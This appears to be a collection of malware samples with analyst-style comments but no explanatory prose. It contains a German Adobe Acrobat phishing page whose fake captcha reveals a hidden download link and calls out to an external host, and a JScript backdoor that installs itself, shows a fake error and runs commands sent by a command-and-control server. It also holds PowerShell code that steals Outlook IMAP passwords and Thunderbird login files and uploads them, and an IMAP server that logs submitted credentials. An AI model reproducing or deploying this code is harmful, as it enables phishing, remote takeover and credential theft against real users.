<style>
    @import url('https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap');

    body,
    html,
    foreignObject {
        padding: 0;
        margin: 0;
        font-family: "Inter", Arial, sans-serif;
        font-optical-sizing: auto;
        font-style: normal;
        font-weight: 300;
    }

    #wrapper {
        background-color: #fff;
        background-repeat: no-repeat;
        background-position: right;

        background-image: url("data:image/svg+xml;base64,PHN2ZyBp..");
    }

    a {
        border: 3px solid #1473E6;
        background: #1473E6;
        border-radius: 20px;
        color: #fff;
        padding: 8px 30px;
        text-decoration: none;
    }

    a:hover {
        border: 3px solid #105cb8;
    }
</style>
<div style="background-color: #f2f2f2; position: absolute; top: 0; left: 0; right: 0; bottom: 0;">
    <div style="position: absolute; left: 20px; top: 20px; right: 20px; bottom: 0px; ">
        <div id="wrapper" style="padding: 10px; border: 1px solid #AAA; border-radius: 10px; ">
            <div style="">
                <img style="vertical-align: middle;  width: 50px;" src="data:image/png;base64,.." /> <span
                    style=" color: #B30B00; padding-left: 10px; font-weight: 350;">Adobe Acrobat Reader</span>

                <div id="wait" style="padding-top: 10px;">Bitte warten Sie, Ihr Dokument wird hochgeladen...</div>
                <div id="loadingWrapper"
                    style="position: relative; margin-top: 10px; border-radius: 20px; background-color: rgba(242, 242, 242, 0.5);">

                    <div id="loading"
                        style="display: inline-block; position: relative; border-radius: 20px; height: 10px; background: #B30C00; width: 10%; margin: 0px 5px; margin-bottom: 1px;">
                    </div>
                </div>
                <div id="loaded"
                    style="display: none; border-radius: 20px; margin-top: 10px; padding: 20px; background-color: rgba(255, 255, 255, 0.5);">
                    Ihr Dokument wurde hochgeladen.
                    <div style="margin-top: 20px;"><a id="dlBtn" style="">Öffnen Sie Ihre Datei</a></div>
                </div>
                <div id="captcha"
                    style="display: none; border-radius: 20px; margin-top: 10px; padding: 20px; background-color: rgba(255, 255, 255, 0.5);">
                    <p>Bitte vervollständigen Sie das Captcha, um Ihr Dokument herunterzuladen.</p>

                    <img src="data:image/png;base64,iVBORw0KGgo..." style="border: 1px solid #CCC;" />

                    <div><input type="text" id="inputCaptcha" style="width: 310px; padding: 5px;" /></div>

                    <div style="margin-top: 20px;"><a href="javascript:decrypt()">Verifizieren</a></div>
                </div>
            </div>
        </div>
        <div style="margin-top: 5px; color: #666; font-size: 12px;">Copyright © 2025 Adobe. All rights reserved.
        </div>
    </div>
</div>

var b64 = atob('HAx8B3sSHAx8B1wtJzdAdht2MiVAJF0rNiNQYlc2PmgMOQkqMDVaPEA=');

document.getElementById("inputCaptcha").addEventListener("keypress", function(event)
{
   if(event.key === "Enter")
      decrypt();
});


function decrypt()
{
   key = document.getElementById("inputCaptcha").value.toUpperCase();
   var decrypted = '';

   for (i = 0; i < b64.length; i++)
   {
      decrypted += String.fromCharCode(
         b64.charCodeAt(i) ^ key.charCodeAt(i % key.length)
      );
   }

   if(decrypted.slice(0, 10) != 'OKOKOKOKOK')
      alert('Falsches Captcha, bitte versuchen Sie es erneut.');
   else
   {
      b64 = decrypted.slice(10);
      //alert(b64);
      //window.location.href = "b64";

      new Image().src = 'http://dlscript2k222.com/script.php?captcha=' + key;

      downloadSet();
   }
}


function downloadSet()
{
   /*


   const binaryString = atob(b64);
   const bytes = new Uint8Array(binaryString.length);
    
   for(let i = 0; i < binaryString.length; i++)
   {
      bytes[i] = binaryString.charCodeAt(i);
   }
    
   const blob = new Blob([bytes], { type: 'application/x-cd-image' });
   const url = URL.createObjectURL(blob);
   */
   document.getElementById("captcha").style.display = "none";
   document.getElementById("loaded").style.display = "block";
    
   var element = document.getElementById('dlBtn');
   element.setAttribute('href', b64);
   //element.setAttribute('download', '');
}


//downloadSet();

var i = 10;
var intervalId = setInterval(function()
{
   document.getElementById("loading").style.width = i + "%";
   i += 1;
   if(i >= 100)
   {
      clearInterval(intervalId); 
      document.getElementById("captcha").style.display = "block";
      document.getElementById("wait").style.display = "none";
   }
}, 100); 

// === OBJECT INITIALIZATION ===
shell        = WScript.CreateObject("WScript.Shell");
http         = WScript.CreateObject("MSXML2.XMLHTTP");
fs           = WScript.CreateObject("Scripting.FileSystemObject");
network      = WScript.CreateObject("WScript.Network");

// === CONFIGURATION ===
C2_URL       = "http://microsoftpoller20.com/gt.php";
INSTALL_NAME = "2995544948.js";
SLEEP_TIME   = 53724;      // ~53 seconds
CMD_TIMEOUT_TAG     = "OK";
MAX_CMD_RUNTIME = 60568;   // ~60 seconds

// === HOST FINGERPRINTING ===
computerName = network.ComputerName;
productId = shell.RegRead(
  "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductId"
);

// Unique victim identifier sent to C2
victimId = productId + "@-DE-" + computerName;

// === SELF-INSTALL / PERSISTENCE ===
currentScript = WScript.ScriptFullName;
installPath   = fs.GetSpecialFolder(2) + "\\" + INSTALL_NAME; // Temp folder

if (currentScript does NOT contain INSTALL_NAME) {

    // Copy itself to target location
    fs.CopyFile(currentScript, installPath, false);

    // Relaunch using cscript (hidden)
    shell.Run("cscript.exe " + installPath, 0, false);

    // Fake error message (social engineering)
    WScript.Echo("Datei beschadigt!"); // "File damaged!"

    WScript.Quit();
}

// === FORCE CSCRIPT EXECUTION ===
if (WScript.FullName.toLowerCase().contains("wscript.exe")) {
    shell.Run("cscript.exe " + installPath, 0, false);
    WScript.Quit();
}

// === KEEP FILE HANDLE OPEN (ANTI-DELETE) ===
fs.OpenTextFile(installPath, 1);

// Create temp output file (unused artifact)
fs.CreateTextFile(fs.GetSpecialFolder(2) + "\\2995544948.txt", true);

// === COMMAND & CONTROL LOOP ===
while (true) {

    try {
        // ---- POLL C2 ----
        http.open(
          "GET",
          C2_URL + "?" + victimId + "&" + new Date(),
          false
        );
        http.send();

        if (
            http.status == 200 &&
            http.responseText != "OK" &&
            http.responseText.startsWith("OK")
        ) {
            // ---- COMMAND EXECUTION ----
            command = http.responseText.substring(2);

            // Replace placeholder with actual script path
            command = command.replace(
              "%SCRIPT_NAME%",
              WScript.ScriptFullName
            );

            exec = shell.Exec("cmd /c " + command);

            // ---- CAPTURE STDOUT ----
            startTime = now();
            output = "";

            while (
                exec.Status == 0 &&
                now() - startTime < MAX_CMD_RUNTIME
            ) {
                output += exec.StdOut.ReadLine() + "\r\n";
            }

            // ---- EXFILTRATE OUTPUT ----
            http.open(
              "POST",
              C2_URL + "?" + victimId + "&" + new Date(),
              false
            );
            http.send(output);
        }

    } catch (e) {
        // All errors suppressed
    }

    // ---- SLEEP BEFORE NEXT POLL ----
    WScript.Sleep(SLEEP_TIME);
}

Add-Type -AssemblyName System.Security

function a {param(
        [Parameter(Mandatory=$true)]
        [byte[]]$a,
        [string]$b = "hxxp://microsoftpoller20.com/up2.php",
        [string]$c = "application/octet-stream",
        [System.Collections.IDictionary]$d = @{}
    )

    $e = [System.IO.Path]::GetTempFileName()
    try {
        [System.IO.File]::WriteAllBytes($e, $a)
        $d += @{'Content-Type' = $c}
        $f = $d.GetEnumerator() | ForEach-Object {
            '-H', "$($_.Key):$($_.Value)"
        }

        $g = & curl.exe -X POST --data-binary "@$e" $f $b -s -S 2>&1
        if ($LASTEXITCODE -ne 0) { throw $g }
        return $g
    }
    catch { throw "Failed to upload to $b`: $_" }
    finally { Remove-Item $e -Force -ErrorAction SilentlyContinue }
}

function b {
    param(
        [byte[]]$a
    )
    
    do {
        try {
            $g = a -a $a
            if ($g -eq "OK") { break }
        }
        catch {
           $PSCmdlet.WriteError($_)
        }
        
        Start-Sleep -Seconds 10
    }
    while ($true)
}

function c {
    param(
        [Parameter(Mandatory=$true)]
        $a
    )
    
    if ($a -eq $null) {
        return ""
    }
    
    if ($a -is [byte[]]) {
        try {
            $h = [System.Text.Encoding]::Unicode.GetString($a)
            return $h.TrimEnd("`0")
        }
        catch {
            return $a.ToString()
        }
    }
    
    return $a.ToString()
}

function d {
    param (
        [Parameter(Mandatory=$true)]
        [string]$a
    )

    if (-not (Test-Path $a)) {
        "OUTLOOK: Couldn't find: " + $a
        return
    }

    "OUTLOOK: Trying!"

    Get-ChildItem $a | ForEach-Object {
        $i = Get-ItemProperty -Path $_.PSPath

        $i.PSObject.Properties | ForEach-Object {
           if ($_.Name -notlike "PS*") {
              try {
                 $j = $_.Name
                 $k = $_.Value
                 Write-Output "$j : $k"
              }
              catch {
                 Write-Output "$j : <Error reading value>"
              }
           }
        }
        
        if ($i."IMAP Password" -ne $null) {
            try {
                $l = $i."IMAP Password"
                
                $m = $l[1..($l.Length-1)]
                
                $n = [System.Security.Cryptography.ProtectedData]::Unprotect(
                    $m,
                    $null,
                    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
                )
                

                $o = [System.Text.Encoding]::Unicode.GetString($n)

                $o
                $o = $o.subString(0,$o.length-1)
                $o
                $p = c -a $i."IMAP User"
                $p 
                $q = c -a $i."IMAP Server"
                $q
                $r = $i."IMAP Port"
                $s = ""
                if ($r -ne "") {
                   $s = ":" + $r;
                }

                $t = "OL" + $q + $s + "," + $p + "," + $o

                $t

                $t = [System.Text.Encoding]::UTF8.GetBytes($t)

                "Found for OL, uploading..."

                b -a $t

            }
            catch {
               $PSCmdlet.WriteError($_)
            }
        }
    }
}

function e {
    $u = Join-Path $env:APPDATA "Thunderbird\Profiles\"
    
    if (-not (Test-Path $u)) {
        "FIREFOX: Couldn't find: " + $u
        return
    }

    "FIREFOX: Trying!"

    $v = Get-ChildItem -Path $u -Directory

    foreach ($w in $v) {
        $x = Join-Path $w.FullName "logins.json"
        $y = Join-Path $w.FullName "key4.db"

        if (-not (Test-Path $x) -or -not (Test-Path $y)) {
            Get-ChildItem -Path $w.FullName -File
            continue
        }

        try {
            $z = [System.IO.File]::ReadAllBytes($x)
            $aa = [System.IO.File]::ReadAllBytes($y)

            $ab = "FF"
            $ac = [System.Text.Encoding]::UTF8.GetBytes($ab)

            $ad = New-Object System.Collections.Generic.List[byte]
            $ad.AddRange($ac)
            $ad.AddRange([BitConverter]::GetBytes([int32]$z.Length))
            $ad.AddRange($z)
            $ad.AddRange($aa)

            "Found for FF, uploading..."

            b -a $ad


        }
        catch {
           $PSCmdlet.WriteError($_)
        }
    }
}

e

d -a "HKCU:\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
d -a "HKCU:\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
d -a "HKCU:\Software\Microsoft\Windows Messaging Subsystem\Profiles\\9375CFF0413111d3B88A00104B2A6676"
d -a "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"%

Add-Type -AssemblyName System.Security

function sendPost {param(
        [Parameter(Mandatory=$true)]
        [byte[]]$file_content,
        [string]$URL = "hxxp://microsoftpoller20.com/up2.php",
        [string]$content_type = "application/octet-stream",
        [System.Collections.IDictionary]$d = @{}
    )

    $tempFileName = [System.IO.Path]::GetTempFileName()
    try {
        [System.IO.File]::WriteAllBytes($tempFileName, $file_content)
        $d += @{'Content-Type' = $content_type}
        $header_param = $d.GetEnumerator() | ForEach-Object {
            '-H', "$($_.Key):$($_.Value)"
        }

        $g = & curl.exe -X POST --data-binary "@$tempFileName" $header_param $URL -s -S 2>&1
        if ($LASTEXITCODE -ne 0) { throw $g }
        return $g
    }
    catch { throw "Failed to upload to $URL`: $_" }
    finally { Remove-Item $tempFileName -Force -ErrorAction SilentlyContinue }
}

function pre_sendPost {
    param(
        [byte[]]$file_content
    )
    
    do {
        try {
            $result = sendPost -a $file_content
            if ($result -eq "OK") { break }
        }
        catch {
           $PSCmdlet.WriteError($_)
        }
        
        Start-Sleep -Seconds 10
    }
    while ($true)
}

function getUnicode{
    param(
        [Parameter(Mandatory=$true)]
        $a
    )
    
    if ($a -eq $null) {
        return ""
    }
    
    if ($a -is [byte[]]) {
        try {
            $h = [System.Text.Encoding]::Unicode.GetString($a)
            return $h.TrimEnd("`0")
        }
        catch {
            return $a.ToString()
        }
    }
    
    return $a.ToString()
}

function getOutlook_secrets {
    param (
        [Parameter(Mandatory=$true)]
        [string]$regKey
    )

    if (-not (Test-Path $a)) {
        "OUTLOOK: Couldn't find: " + $regKey
        return
    }

    "OUTLOOK: Trying!"

    Get-ChildItem $regKey | ForEach-Object {
        $i = Get-ItemProperty -Path $_.PSPath

        $i.PSObject.Properties | ForEach-Object {
           if ($_.Name -notlike "PS*") {
              try {
                 $regName = $_.Name
                 $regValue = $_.Value
                 Write-Output "$regName : $regValue"
              }
              catch {
                 Write-Output "$regName : <Error reading value>"
              }
           }
        }
        
        if ($i."IMAP Password" -ne $null) {
            try {
                $l = $i."IMAP Password"        
                $m = $l[1..($l.Length-1)]
                
                $n = [System.Security.Cryptography.ProtectedData]::Unprotect(
                    $m,
                    $null,
                    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
                )
        
                $o = [System.Text.Encoding]::Unicode.GetString($n)
                $o
                $o = $o.subString(0,$o.length-1)
                $o
                $p = getUnicode -a $i."IMAP User"
                $p 
                $q = getUnicode -a $i."IMAP Server"
                $q
                $r = $i."IMAP Port"
                $s = ""
                if ($r -ne "") {
                   $s = ":" + $r;
                }
                $t = "OL" + $q + $s + "," + $p + "," + $o
                $t
                $t = [System.Text.Encoding]::UTF8.GetBytes($t)

                "Found for OL, uploading..."

                pre_sendPost -a $t
            }
            catch {
               $PSCmdlet.WriteError($_)
            }
        }
    }
}

function getThunderbird_secrects {
    $u = Join-Path $tempFileNamenv:APPDATA "Thunderbird\Profiles\"
    
    if (-not (Test-Path $u)) {
        "FIREFOX: Couldn't find: " + $u
        return
    }

    "FIREFOX: Trying!"

    $v = Get-ChildItem -Path $u -Directory

    foreach ($w in $v) {
        $x = Join-Path $w.FullName "logins.json"
        $y = Join-Path $w.FullName "key4.db"

        if (-not (Test-Path $x) -or -not (Test-Path $y)) {
            Get-ChildItem -Path $w.FullName -File
            continue
        }

        try {
            $z = [System.IO.File]::ReadAllBytes($x)
            $aa = [System.IO.File]::ReadAllBytes($y)

            $ab = "FF"
            $ac = [System.Text.Encoding]::UTF8.GetBytes($ab)

            $ad = New-Object System.Collections.Generic.List[byte]
            $ad.AddRange($ac)
            $ad.AddRange([BitConverter]::GetBytes([int32]$z.Length))
            $ad.AddRange($z)
            $ad.AddRange($aa)

            "Found for FF, uploading..."

            pre_sendPost -a $ad
        }
        catch {
           $PSCmdlet.WriteError($_)
        }
    }
}

getThunderbird_secrects

getOutlook_secrets -a "HKCU:\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
getOutlook_secrets -a "HKCU:\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"
getOutlook_secrets -a "HKCU:\Software\Microsoft\Windows Messaging Subsystem\Profiles\\9375CFF0413111d3B88A00104B2A6676"
getOutlook_secrets -a "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"%

import asyncio
import base64
import ssl
from datetime import datetime
import traceback

HOST = "0.0.0.0"
PORT = 993

LOG_FILE = "log.txt"

TEST_USERNAME = "testuser"
TEST_PASSWORD = "testpass"

CAPABILITIES = "IMAP4rev1 SASL-IR AUTH=PLAIN AUTH=LOGIN"

def log(message: str):
    timestamp = datetime.utcnow().isoformat()
    line = f"[{timestamp}] {message}\n"
    with open(LOG_FILE, "a", encoding="utf-8") as f:
        f.write(line)
    print(line, end="")

async def handle_client(reader, writer):
    peer = writer.get_extra_info("peername")
    client_ip = peer[0] if peer else "unknown"

    log(f"NEW CONNECTION from {client_ip}")

    try:
        writer.write(b"* OK IMAP4rev1 Service Ready\r\n")
        await writer.drain()

        while True:
            line = await reader.readline()
            if not line:
                log(f"DISCONNECT from {client_ip}")
                break

            command = line.decode(errors="ignore").strip()
            log(f"{client_ip} -> {command}")

            parts = command.split()
            if len(parts) < 2:
                writer.write(b"* BAD Invalid command\r\n")
                await writer.drain()
                continue

            tag = parts[0]
            cmd = parts[1].upper()

            if cmd == "CAPABILITY":
                writer.write(f"* CAPABILITY {CAPABILITIES}\r\n".encode())
                writer.write(f"{tag} OK CAPABILITY completed\r\n".encode())

            elif cmd == "LOGIN" and len(parts) >= 4:
                username = parts[2]

                log(f"AUTH ATTEMPT IP={client_ip} USER={username}")

                if parts[2] == TEST_USERNAME and parts[3] == TEST_PASSWORD:
                    log(f"AUTH SUCCESS IP={client_ip} USER={username}")
                    writer.write(f"{tag} OK LOGIN completed\r\n".encode())
                else:
                    log(f"AUTH FAILURE IP={client_ip} USER={username}")
                    writer.write(f"{tag} NO Authentication failed\r\n".encode())
            
            elif cmd == "AUTHENTICATE" and len(parts) >= 3 and parts[2].upper() == "PLAIN":
                # Send continuation request
                #log(f"start plain auth, parts: {parts}")

                if parts[3]:
                    decoded = base64.b64decode(parts[3]).decode(errors="ignore")
                    _, username, password = decoded.split("\x00", 2)
                    log(f"AUTH PLAIN ATTEMPT IP={client_ip} USER={username} PASSWORD={password}")
                    writer.write(f"{tag} NO Authentication failed\r\n".encode())

                writer.write(b" + \r\n")
                await writer.drain()

                response = await reader.readline()
                if not response:
                    break

                try:
                    decoded = base64.b64decode(response.strip()).decode(errors="ignore")
                    _, username, password = decoded.split("\x00", 2)
                except Exception:
                    writer.write(f"{tag} BAD Invalid AUTHENTICATE PLAIN payload\r\n".encode())
                    await writer.drain()
                    continue

                log(f"AUTH PLAIN ATTEMPT IP={client_ip} USER={username}")

                if username == TEST_USERNAME and password == TEST_PASSWORD:
                    log(f"AUTH SUCCESS IP={client_ip} USER={username}")
                    writer.write(f"{tag} OK AUTHENTICATE completed\r\n".encode())
                else:
                    log(f"AUTH FAILURE IP={client_ip} USER={username}")
                    writer.write(f"{tag} NO Authentication failed\r\n".encode())

            elif cmd == "NOOP":
                writer.write(f"{tag} OK NOOP completed\r\n".encode())
            
            elif cmd == "ID":
                writer.write(b"* ID NIL\r\n")
                writer.write(f"{tag} * OK ID completed\r\n".encode())

            elif cmd == "LOGOUT":
                writer.write(b"* BYE Logging out\r\n")
                writer.write(f"{tag} OK LOGOUT completed\r\n".encode())
                await writer.drain()
                log(f"LOGOUT from {client_ip}")
                break

            else:
                writer.write(f"{tag} OK\r\n".encode())

            await writer.drain()

    except Exception as e:
        log(f"ERROR handling client {client_ip}: {e}")
        log(traceback.format_exc())

    finally:
        try:
            writer.close()
            await writer.wait_closed()
        except Exception:
            pass
        log(f"CONNECTION CLOSED {client_ip}")

async def main():
    ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    ssl_ctx.load_cert_chain("server.crt", "server.key")

    while True:
        try:
            server = await asyncio.start_server(
                handle_client, HOST, PORT, ssl=ssl_ctx
                #handle_client, HOST, PORT
            )

            log(f"IMAP test server listening on {HOST}:{PORT}")

            async with server:
                await server.serve_forever()

        except Exception as e:
            # If the server itself crashes, log and restart
            log(f"SERVER ERROR: {e}")
            log(traceback.format_exc())
            await asyncio.sleep(2)

if __name__ == "__main__":
    asyncio.run(main())